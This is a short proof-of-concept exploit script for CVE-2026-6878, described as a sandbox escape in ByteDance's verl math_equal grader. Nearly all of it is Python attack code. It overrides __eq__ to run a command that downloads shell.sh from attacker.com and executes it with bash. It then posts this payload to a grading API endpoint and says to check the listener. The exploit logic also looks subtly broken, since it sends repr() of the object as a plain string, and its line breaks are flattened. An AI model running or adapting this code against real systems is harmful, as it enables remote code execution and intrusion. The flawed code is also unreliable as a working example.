CVE-2026-6878 ByteDance verl沙箱逃逸漏洞

# Proof of Concept for CVE-2026-6878 # Exploiting math_equal sandbox escape import requests def exploit(target_url): # Malicious payload leveraging __eq__ for RCE # The sandbox compares this object with another, triggering the code class ExploitPayload: def __eq__(self, other): # Arbitrary code execution (e.g., reverse shell) import os os.system('wget http://attacker.com/shell.sh -O /tmp/sh.sh && bash /tmp/sh.sh') return True # Serialize or pass the object depending on the API # Assuming the API accepts JSON representation or code payload_data = { 'func': 'math_equal', 'args': [repr(ExploitPayload()), 1] } try: print(f"[*] Sending payload to {target_url}...") response = requests.post(target_url, json=payload_data) if response.status_code == 200: print("[+] Payload sent successfully, check your listener.") else: print(f"[-] Request failed with status {response.status_code}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Replace with actual target endpoint exploit("http://127.0.0.1:8000/api/grade")